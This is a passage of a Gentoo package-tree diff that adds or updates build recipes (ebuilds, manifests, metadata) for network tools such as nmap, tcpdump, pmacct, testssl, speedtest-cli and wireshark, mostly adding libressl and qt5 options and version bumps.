required for an agent. + # Keep only the snmpd, snmptrapd, MIBs, headers and libraries. + if use minimal; then + rm -rf \ + "${D}"/**/*.pl \ + "${D}"/usr/bin/{encode_keychange,snmp{get,getnext,set,usm,walk,bulkwalk,table,trap,bulkget,translate,status,delta,test,df,vacm,netstat,inform,check,conf},fixproc,traptoemail} \ + "${D}"/usr/share/snmp/*.conf \ + "${D}"/usr/share/snmp/snmpconf-data \ + || die + fi +} diff --git a/net-analyzer/nikto/nikto-2.1.5.ebuild b/net-analyzer/nikto/nikto-2.1.5.ebuild index aa1e74e0c6..694c4affa5 100644 --- a/net-analyzer/nikto/nikto-2.1.5.ebuild +++ b/net-analyzer/nikto/nikto-2.1.5.ebuild @@ -28,7 +28,7 @@ src_prepare() { sed -i -e 's:/etc/nikto.conf:/etc/nikto/nikto.conf:; s:# EXECDIR=/usr/local/nikto:EXECDIR=/usr/share/nikto:; s:# use LW2:use LW2:; - s:require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":# require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":;' nikto.pl || die + s:require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":# require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":;' nikto.pl || die } src_compile() { :; } diff --git a/net-analyzer/nmap/nmap-6.49_beta2-r1.ebuild b/net-analyzer/nmap/nmap-6.49_beta2-r1.ebuild new file mode 100644 index 0000000000..a3d9dc090e --- /dev/null +++ b/net-analyzer/nmap/nmap-6.49_beta2-r1.ebuild @@ -0,0 +1,157 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 + +PYTHON_COMPAT=( python2_7 ) +PYTHON_REQ_USE="sqlite,xml" +inherit eutils flag-o-matic python-single-r1 toolchain-funcs + +MY_P=${P/_beta/BETA} + +DESCRIPTION="A utility for network discovery and security auditing" +HOMEPAGE="http://nmap.org/" +SRC_URI=" + http://nmap.org/dist/${MY_P}.tar.bz2 + https://dev.gentoo.org/~jer/nmap-logo-64.png +" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris" + +IUSE="ipv6 libressl +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap" +NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru ) +IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}" + +REQUIRED_USE=" + system-lua? ( nse ) + ndiff? ( ${PYTHON_REQUIRED_USE} ) + zenmap? ( ${PYTHON_REQUIRED_USE} ) +" + +RDEPEND=" + dev-libs/liblinear:= + dev-libs/libpcre + net-libs/libpcap[ipv6?] + zenmap? ( + dev-python/pygtk:2[${PYTHON_USEDEP}] + ${PYTHON_DEPS} + ) + system-lua? ( >=dev-lang/lua-5.2[deprecated] ) + ndiff? ( ${PYTHON_DEPS} ) + nls? ( virtual/libintl ) + nmap-update? ( dev-libs/apr dev-vcs/subversion ) + ssl? ( + !libressl? ( dev-libs/openssl:0= ) + libressl? ( dev-libs/libressl:= ) + ) +" +DEPEND=" + ${RDEPEND} + nls? ( sys-devel/gettext ) +" + +S="${WORKDIR}/${MY_P}" + +pkg_setup() { + if use ndiff || use zenmap; then + python-single-r1_pkg_setup + fi +} + +src_unpack() { + # prevent unpacking the logo + unpack ${MY_P}.tar.bz2 +} + +src_prepare() { + epatch \ + "${FILESDIR}"/${PN}-4.75-nolua.patch \ + "${FILESDIR}"/${PN}-5.10_beta1-string.patch \ + "${FILESDIR}"/${PN}-5.21-python.patch \ + "${FILESDIR}"/${PN}-6.01-make.patch \ + "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \ + "${FILESDIR}"/${PN}-6.46-uninstaller.patch \ + "${FILESDIR}"/${PN}-6.47-no-libnl.patch \ + "${FILESDIR}"/${PN}-6.47-ncat-lua.patch \ + "${FILESDIR}"/${PN}-6.49-no-FORTIFY_SOURCE.patch + + if use nls; then + local lingua='' + for lingua in ${NMAP_LINGUAS[@]}; do + if ! use linguas_${lingua}; then + rm -r zenmap/share/zenmap/locale/${lingua} || die + rm zenmap/share/zenmap/locale/${lingua}.po || die + fi + done + else + # configure/make ignores --disable-nls + for lingua in ${NMAP_LINGUAS[@]}; do + rm -r zenmap/share/zenmap/locale/${lingua} || die + rm zenmap/share/zenmap/locale/${lingua}.po || die + done + fi + + sed -i \ + -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \ + Makefile.in || die + + # Fix desktop files wrt bug #432714 + sed -i \ + -e '/^Encoding/d' \ + -e 's|^Categories=.*|Categories=Network;System;Security;|g' \ + zenmap/install_scripts/unix/zenmap-root.desktop \ + zenmap/install_scripts/unix/zenmap.desktop || die + + epatch_user +} + +src_configure() { + # The bundled libdnet is incompatible with the version available in the + # tree, so we cannot use the system library here. + econf \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_with zenmap) \ + $(usex nse --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \ + $(use_with ncat) \ + $(use_with ndiff) \ + $(use_with nmap-update) \ + $(use_with nping) \ + $(use_with ssl openssl) \ + --with-libdnet=included \ + --with-pcre=/usr + # --with-liblinear=/usr \ + # Commented because configure does weird things, while autodetection works +} + +src_compile() { + emake \ + AR=$(tc-getAR) \ + RANLIB=$(tc-getRANLIB ) +} + +src_install() { + LC_ALL=C emake -j1 \ + DESTDIR="${D}" \ + STRIP=: \ + nmapdatadir="${EPREFIX}"/usr/share/nmap \ + install + if use nmap-update;then + LC_ALL=C emake -j1 \ + -C nmap-update \ + DESTDIR="${D}" \ + STRIP=: \ + nmapdatadir="${EPREFIX}"/usr/share/nmap \ + install + fi + + dodoc CHANGELOG HACKING docs/README docs/*.txt + + if use zenmap; then + doicon "${DISTDIR}/nmap-logo-64.png" + python_optimize + fi +} diff --git a/net-analyzer/nmap/nmap-9999.ebuild b/net-analyzer/nmap/nmap-9999.ebuild index 1185730714..1e02fc02e7 100644 --- a/net-analyzer/nmap/nmap-9999.ebuild +++ b/net-analyzer/nmap/nmap-9999.ebuild @@ -19,7 +19,7 @@ SRC_URI="https://dev.gentoo.org/~jer/nmap-logo-64.png" LICENSE="GPL-2" SLOT="0" -IUSE="ipv6 +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap" +IUSE="ipv6 libressl +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap" NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru zh ) IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}" @@ -41,7 +41,10 @@ RDEPEND=" ndiff? ( ${PYTHON_DEPS} ) nls? ( virtual/libintl ) nmap-update? ( dev-libs/apr dev-vcs/subversion ) - ssl? ( dev-libs/openssl:0= ) + ssl? ( + !libressl? ( dev-libs/openssl:0= ) + libressl? ( dev-libs/libressl:= ) + ) " DEPEND=" ${RDEPEND} diff --git a/net-analyzer/pmacct/Manifest b/net-analyzer/pmacct/Manifest index 73544d32b3..7828db1a8c 100644 --- a/net-analyzer/pmacct/Manifest +++ b/net-analyzer/pmacct/Manifest @@ -1,2 +1,3 @@ DIST pmacct-1.5.1.tar.gz 874563 SHA256 96134549a10947f3f6d610b670a26f1a54e01af4be0eff09bf48c19246d33584 SHA512 c3a0ddaf1b8679df2097147ce844eb2a3e3058599aea457e463cd4e65a7601e0ce5bac5ca5e1c82afecd5edc92dae673eed3ed1787bfbd3e8ac2af5677885bb7 WHIRLPOOL bd071ac30493f5ee2e0393eb9277dfae2d2fdd6283293aee589ae41ab326b0aaef0ec9b70a421eeca4df857a0046ca7b196e0692ffdd2ea12d9a7c66a74e9a32 DIST pmacct-1.5.2.tar.gz 897530 SHA256 c12e3897e2f9aa89333968da46eb46855f357750ac1e06e36e72f374e2b54df9 SHA512 3705432cc2a28e179de637b8fc11becd2022b36191a13d440d5bec7d7e594d0936773f202f3d82e983a83695176380aa6a7c27748b632b180000590be0ead599 WHIRLPOOL e7bb1fa1b7372af7d932e19da1d14f3922d8a8ebda245fa03e2a5f283c66141a9299cc9dfa6f32e9384c7d2c9a2d2ef35ef62d7b9910e4f76cacc132231420e5 +DIST pmacct-1.5.3_pre20150925.tar.gz 896168 SHA256 ae63580ae879b3ce20e9725690b6337a72857376192dd2f610e0359ee9d4364c SHA512 e6675855f403ee746b0243cce1ee0e28fd649d2b1c6c1e33f012d7858f977952ba6ed5d1ee47ce42a4f6950b139be2bc50a88740fd19c4775d61d1fb1aa6c05d WHIRLPOOL c7f5003754835f0e1883f13bfba740667ebcbef54a49cc8b8f6fcca1f2db2dea337c910417ff75d86dcfa6bc294fa9b44567bc0d5d07b79ffcfc9b11b1efad5d diff --git a/net-analyzer/pmacct/pmacct-1.5.3_pre20150925.ebuild b/net-analyzer/pmacct/pmacct-1.5.3_pre20150925.ebuild new file mode 100644 index 0000000000..06a5c5140f --- /dev/null +++ b/net-analyzer/pmacct/pmacct-1.5.3_pre20150925.ebuild @@ -0,0 +1,72 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 +inherit toolchain-funcs + +DESCRIPTION="A network tool to gather IP traffic information" +HOMEPAGE="http://www.pmacct.net/" +SRC_URI="https://dev.gentoo.org/~jer/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" +IUSE="64bit debug geoip ipv6 mongodb mysql postgres sqlite threads ulog" + +RDEPEND=" + net-libs/libpcap + geoip? ( dev-libs/geoip ) + mongodb? ( + >=dev-libs/mongo-c-driver-0.8.1-r1 + <dev-libs/mongo-c-driver-0.98 + ) + mysql? ( virtual/mysql ) + postgres? ( dev-db/postgresql:* ) + sqlite? ( =dev-db/sqlite-3* ) +" +DEPEND=" + ${RDEPEND} + virtual/pkgconfig +" + +S="${WORKDIR}/pmacct-daily" + +DOCS=( + CONFIG-KEYS ChangeLog FAQS KNOWN-BUGS QUICKSTART README TODO TOOLS UPGRADE + docs/INTERNALS docs/PLUGINS docs/SIGNALS +) + +src_configure() { + tc-export CC AR RANLIB + + econf \ + $(use_enable 64bit) \ + $(use_enable debug) \ + $(use_enable geoip) \ + $(use_enable ipv6) \ + $(use_enable mongodb) \ + $(use_enable mysql) \ + $(use_enable postgres pgsql) \ + $(use_enable sqlite sqlite3) \ + $(use_enable threads) \ + $(use_enable ulog) \ + $(usex mysql "--with-mysql-includes=$(mysql_config --variable=pkgincludedir)" '') \ + $(usex mysql "--with-mysql-libs=$(mysql_config --variable=pkglibdir)" '') \ + --disable-debug +} + +src_install() { + default + + for dirname in examples sql; do + docinto ${dirname} + dodoc -r ${dirname}/* + done + + newinitd "${FILESDIR}"/pmacctd-init.d pmacctd + newconfd "${FILESDIR}"/pmacctd-conf.d pmacctd + + insinto /etc/pmacctd + newins examples/pmacctd-imt.conf.example pmacctd.conf +} diff --git a/net-analyzer/speedtest-cli/Manifest b/net-analyzer/speedtest-cli/Manifest index ef0b97c012..1660cb5338 100644 --- a/net-analyzer/speedtest-cli/Manifest +++ b/net-analyzer/speedtest-cli/Manifest @@ -1,2 +1 @@ -DIST speedtest-cli-0.2.4.tar.gz 10573 SHA256 be53386d0ea697aff192984a4f06bcf9b5c4e287b8ac13d68f5fb8d0fc5317f1 SHA512 d85ec7036ae183ef0906f4bf8ebec54ae2f27878a60165153602d7eff8b2b036aa343a91f94edc6777131c36fceed83901ee6a565ecb3ad6a46a2a96c158f352 WHIRLPOOL f0493907a51e1879f3d4df9a00dcb4ef181f0b2465d635d618075854ce6a0c61e4adb5adf95a4f5dff5dcdbacf982e4b578d53b087995b230b3898407aedd9e0 -DIST speedtest-cli-0.2.5.tar.gz 11786 SHA256 1fafa6d808823da17a6f4c75d802f13b42ad954d60f4cd18ba30d2bb1424e538 SHA512 d844fed185af9ace7fb6ec1b3ea33f4dcd841a47e0bc0e75577d5e40be57a4cbfeedc4180b5bf68649c8242ab5749c778c9941c056fe17d0cb9f6597d14c50ac WHIRLPOOL d179a7793a4a8e985e537e6bc5df9253fc16ccc68480d0c6231a016df4b71acdfb42cd23e0c6ebe0d35664d20d4aa2d4fb1b24baaa5afa85ac4b1b2e7c967e43 +DIST speedtest-cli-0.3.4.tar.gz 14452 SHA256 e50646e245ea3c80c9653a532db0dbaef72f1c439330bcc22c381074c17b719d SHA512 fb22ba9e17a30c172b8f751020d7117caf8b573dee112506917f24c5173e2901e0f0198b4946798daf3a27839519025f4a7f8f8942034bc19356b32d6a0f6851 WHIRLPOOL c5700ec9bc513274056b870c781782ceeea4441282564d18d8ed9fbc7f7c9d3d7099ffcfc5193efec37b823e8da10a953391919c8330f454540dc24ae9e517ea diff --git a/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild b/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild deleted file mode 100644 index d823fd5597..0000000000 --- a/net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild +++ /dev/null @@ -1,19 +0,0 @@ -# Copyright 1999-2015 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -EAPI=5 - -PYTHON_COMPAT=( python{2_7,3_3} ) -inherit distutils-r1 - -DESCRIPTION="Command line interface for testing internet bandwidth using speedtest.net" -HOMEPAGE="https://github.com/sivel/speedtest-cli" -SRC_URI="https://github.com/sivel/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz" - -LICENSE="Apache-2.0" -SLOT="0" -KEYWORDS="amd64 ~x86" -IUSE="" - -DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]" diff --git a/net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild b/net-analyzer/speedtest-cli/speedtest-cli-0.3.4.ebuild index fbbd2a7818..fb3a5b4b88 100644 --- a/net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild +++ b/net-analyzer/speedtest-cli/speedtest-cli-0.3.4.ebuild @@ -14,7 +14,7 @@ SRC_URI="https://github.com/sivel/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz" LICENSE="Apache-2.0" SLOT="0" -KEYWORDS="amd64 ~ppc ~ppc64 ~x86" +KEYWORDS="amd64 ~ppc ~ppc64 x86" IUSE="" DEPEND="dev-python/setuptools[${PYTHON_USEDEP}]" diff --git a/net-analyzer/tcpdump/tcpdump-4.7.4-r1.ebuild b/net-analyzer/tcpdump/tcpdump-4.7.4-r1.ebuild new file mode 100644 index 0000000000..003ab7baa7 --- /dev/null +++ b/net-analyzer/tcpdump/tcpdump-4.7.4-r1.ebuild @@ -0,0 +1,96 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 +inherit flag-o-matic toolchain-funcs user + +DESCRIPTION="A Tool for network monitoring and data acquisition" +HOMEPAGE="http://www.tcpdump.org/" +SRC_URI="http://www.tcpdump.org/release/${P}.tar.gz + http://www.jp.tcpdump.org/release/${P}.tar.gz" + +LICENSE="BSD" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~arm-linux ~x86-linux" +IUSE="+drop-root libressl smi ssl ipv6 samba suid test" + +RDEPEND=" + drop-root? ( sys-libs/libcap-ng ) + net-libs/libpcap + smi? ( net-libs/libsmi ) + ssl? ( + !libressl? ( >=dev-libs/openssl-0.9.6m:0 ) + libressl? ( dev-libs/libressl ) + ) +" +DEPEND=" + ${RDEPEND} + drop-root? ( virtual/pkgconfig ) + test? ( + || ( app-arch/sharutils sys-freebsd/freebsd-ubin ) + dev-lang/perl + ) +" + +pkg_setup() { + if use drop-root || use suid; then + enewgroup tcpdump + enewuser tcpdump -1 -1 -1 tcpdump + fi +} + +src_configure() { + # tcpdump needs some optimization. see bug #108391 + # but do not replace -Os + filter-flags -O[0-9] + has -O? ${CFLAGS} || append-cflags -O2 + + filter-flags -finline-functions + + if use drop-root; then + append-cppflags -DHAVE_CAP_NG_H + export LIBS=$( $(tc-getPKG_CONFIG) --libs libcap-ng ) + fi + + econf \ + $(use_enable ipv6) \ + $(use_enable samba smb) \ + $(use_with drop-root chroot '') \ + $(use_with smi) \ + $(use_with ssl crypto "${EPREFIX}/usr") \ + $(usex drop-root "--with-user=tcpdump" "") +} + +src_test() { + if [[ ${EUID} -ne 0 ]] || ! use drop-root; then + sed -i -e '/^\(espudp1\|eapon1\)/d;' tests/TESTLIST || die + emake check + else + ewarn "If you want to run the test suite, make sure you either" + ewarn "set FEATURES=userpriv or set USE=-drop-root" + fi +} + +src_install() { + dosbin tcpdump + doman tcpdump.1 + dodoc *.awk + dodoc CHANGES CREDITS README.md + + if use suid; then + fowners root:tcpdump /usr/sbin/tcpdump + fperms 4110 /usr/sbin/tcpdump + fi +} + +pkg_preinst() { + if use drop-root || use suid; then + enewgroup tcpdump + enewuser tcpdump -1 -1 -1 tcpdump + fi +} + +pkg_postinst() { + use suid && elog "To let normal users run tcpdump add them into tcpdump group." +} diff --git a/net-analyzer/tcpdump/tcpdump-9999.ebuild b/net-analyzer/tcpdump/tcpdump-9999.ebuild index 17b98957aa..7ca91164ec 100644 --- a/net-analyzer/tcpdump/tcpdump-9999.ebuild +++ b/net-analyzer/tcpdump/tcpdump-9999.ebuild @@ -12,13 +12,16 @@ EGIT_REPO_URI="https://github.com/the-tcpdump-group/tcpdump" LICENSE="BSD" SLOT="0" KEYWORDS="" -IUSE="+drop-root smi ssl ipv6 samba suid test" +IUSE="+drop-root libressl smi ssl ipv6 samba suid test" RDEPEND=" drop-root? ( sys-libs/libcap-ng ) net-libs/libpcap smi? ( net-libs/libsmi ) - ssl? ( >=dev-libs/openssl-0.9.6m ) + ssl? ( + !libressl? ( >=dev-libs/openssl-0.9.6m:0 ) + libressl? ( dev-libs/libressl ) + ) " DEPEND=" ${RDEPEND} diff --git a/net-analyzer/testssl/Manifest b/net-analyzer/testssl/Manifest new file mode 100644 index 0000000000..23bcd10728 --- /dev/null +++ b/net-analyzer/testssl/Manifest @@ -0,0 +1 @@ +DIST testssl-2.6.tar.gz 12296414 SHA256 286b3285f096a5d249de1507eee88b14848514696bc5bbc4faceffa46b563ebd SHA512 c09ef82a8062cac484df956ea68d459dcedaa9e96301f5d5108323eb482dd4ef226e6a41446eb230cdb459404357e3fb3ec02a386697e335a58a2b14db327780 WHIRLPOOL 290c4202358ac647ca7ed2ce0d17cf5ace6c533f7c79cee066d599193f9e77cfdd1e440e7670c5216fec9b1f882986dcf26f5cad638384b8b7a278fbcbe5eace diff --git a/net-analyzer/testssl/metadata.xml b/net-analyzer/testssl/metadata.xml new file mode 100644 index 0000000000..b5008345f9 --- /dev/null +++ b/net-analyzer/testssl/metadata.xml @@ -0,0 +1,10 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"> +<pkgmetadata> + <maintainer> + <email>kensington@gentoo.org</email> + </maintainer> + <use> + <flag name="bundled-openssl">Install precompiled versions of OpenSSL for greater testing coverage</flag> + </use> +</pkgmetadata> diff --git a/net-analyzer/testssl/testssl-2.6.ebuild b/net-analyzer/testssl/testssl-2.6.ebuild new file mode 100644 index 0000000000..86d6a09332 --- /dev/null +++ b/net-analyzer/testssl/testssl-2.6.ebuild @@ -0,0 +1,59 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 + +MY_PN="${PN}.sh" + +DESCRIPTION="Tool to check TLS/SSL cipher support" +HOMEPAGE="https://testssl.sh/" +SRC_URI="https://github.com/drwetter/${MY_PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz" + +LICENSE="GPL-2 bundled-openssl? ( openssl )" +SLOT="0" +KEYWORDS="~amd64" +IUSE="bundled-openssl" + +RDEPEND=" + dev-libs/openssl:0 + net-dns/bind-tools + sys-apps/util-linux +" + +S=${WORKDIR}/${MY_PN}-${PV} + +QA_PREBUILT="opt/${PN}/*" + +pkg_setup() { + use amd64 && BUNDLED_OPENSSL="openssl.Linux.x86_64" +} + +src_prepare() { + sed -i -e "s|MAPPING_FILE_RFC=\"\"|MAPPING_FILE_RFC=\"/usr/share/${PN}/mapping-rfc.txt\"|" ${PN}.sh || die +} + +src_install() { + dodoc CHANGELOG.stable-releases.txt CREDITS.md Readme.md + dodoc openssl-rfc.mappping.html + + dobin ${PN}.sh + + insinto /usr/share/${PN} + doins mapping-rfc.txt + + if use bundled-openssl; then + exeinto /opt/${PN} + use amd64 && doexe bin/${BUNDLED_OPENSSL} + fi +} + +pkg_postinst() { + if use bundled-openssl; then + einfo "A precompiled version of OpenSSL has been installed into /opt/${PN}," + einfo "configured to enable a wider range of features to allow better testing." + einfo "" + einfo "To use it, call ${PN} appropriately:" + einfo "${MY_PN} --openssl /opt/${PN}/${BUNDLED_OPENSSL} example.com" + fi +} diff --git a/net-analyzer/wireshark/wireshark-1.12.7.ebuild b/net-analyzer/wireshark/wireshark-1.12.7.ebuild index 47ff12c0e2..d7c8afdafe 100644 --- a/net-analyzer/wireshark/wireshark-1.12.7.ebuild +++ b/net-analyzer/wireshark/wireshark-1.12.7.ebuild @@ -220,7 +220,7 @@ src_install() { insinto /usr/include/wiretap doins wiretap/wtap.h - if use gtk3 || use qt4; then + if use gtk3 || use qt4 || use qt5; then local c d for c in hi lo; do for d in 16 32 48; do @@ -234,7 +234,7 @@ src_install() { domenu wireshark.desktop fi - if use qt4; then + if use qt4 || use qt5; then sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die domenu wireshark-qt.desktop fi diff --git a/net-analyzer/wireshark/wireshark-1.99.9.ebuild b/net-analyzer/wireshark/wireshark-1.99.9.ebuild index 1479231904..348d4e41ee 100644 --- a/net-analyzer/wireshark/wireshark-1.99.9.ebuild +++ b/net-analyzer/wireshark/wireshark-1.99.9.ebuild @@ -226,7 +226,7 @@ src_install() { insinto /usr/include/wiretap doins wiretap/wtap.h - if use gtk3 || use qt4; then + if use gtk3 || use qt4 || use qt5; then local c d for c in hi lo; do for d in 16 32 48; do @@ -240,7 +240,7 @@ src_install() { domenu wireshark.desktop fi - if use qt4; then + if use qt4 || use qt5; then sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die domenu wireshark-qt.desktop fi diff --git a/net-analyzer/wireshark/wireshark-99999999.ebuild b/net-analyzer/wireshark/wireshark-99999999.ebuild index 02e46afe8b..6c12e5319a 100644 --- a/net-analyzer/wireshark/wireshark-99999999.ebuild +++ b/net-analyzer/wireshark/wireshark-99999999.ebuild @@ -229,7 +229,7 @@ src_install() { insinto /usr/include/wiretap doins wiretap/wtap.h - if use gtk3 || use qt4; then + if use gtk3 || use qt4 || use qt5; then local c d for c in hi lo; do for d in 16 32 48; do @@ -243,7 +243,7 @@ src_install() { domenu wireshark.desktop fi - if use qt4; then + if use qt4 || use qt5; then sed -e '/Exec=/s|wireshark|&-qt|g' wireshark.desktop > wireshark-qt.desktop || die domenu wireshark-qt.desktop fi |